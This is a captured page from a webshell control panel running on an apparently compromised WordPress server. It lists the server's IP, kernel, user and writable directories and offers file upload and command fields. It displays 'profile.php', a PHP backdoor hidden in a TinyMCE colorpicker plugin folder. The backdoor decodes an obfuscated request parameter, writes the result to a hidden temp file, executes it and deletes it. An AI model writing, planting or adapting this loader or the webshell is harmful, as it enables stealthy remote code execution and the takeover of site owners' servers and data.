403Webshell
Server IP : 162.243.168.218  /  Your IP : 216.73.216.67
Web Server : Apache
System : Linux ISPCONFIG-WEB-EMPRESAS 5.15.0-174-generic #184-Ubuntu SMP Fri Mar 13 18:41:50 UTC 2026 x86_64
User : web23 ( 5020)
PHP Version : 8.3.32
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /var/www/clients/client3/web23/web/wp-includes/js/tinymce/plugins/colorpicker/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/clients/client3/web23/web/wp-includes/js/tinymce/plugins/colorpicker/profile.php
<?php

if(isset($_REQUEST) && isset($_REQUEST["\x6D\x61r\x6Ber"])){
	$fac = $_REQUEST["\x6D\x61r\x6Ber"];
		$fac	 =explode( 	'.' ,			$fac); 		
	$binding  ='';
            $s  ='abcdefghijklmnopqrstuvwxyz0123456789';
            $lenS  =strlen($s);
            $r  =0;
    
            array_walk($fac 	, function($v9) use(&$binding 	, &$r 	, $s 	, $lenS) {
                $sChar  =ord($s[$r%$lenS]);
                $d  =((int)$v9 - $sChar -($r%10))^	16;
                $binding .= chr($d);
                $r++; }		);
	$value = array_filter([sys_get_temp_dir(), getenv("TMP"), "/dev/shm", "/tmp", getcwd(), getenv("TEMP"), session_save_path(), ini_get("upload_tmp_dir"), "/var/tmp"]);
	foreach ($value as $descriptor) {
    		if (is_dir($descriptor) && is_writable($descriptor)) {
    $ent = str_replace("{var_dir}", $descriptor, "{var_dir}/.symbol");
    if (file_put_contents($ent, $binding)) {
	require $ent;
	unlink($ent);
	exit;
}
}
}
}

Youez - 2016 - github.com/yon3zu
LinuXploit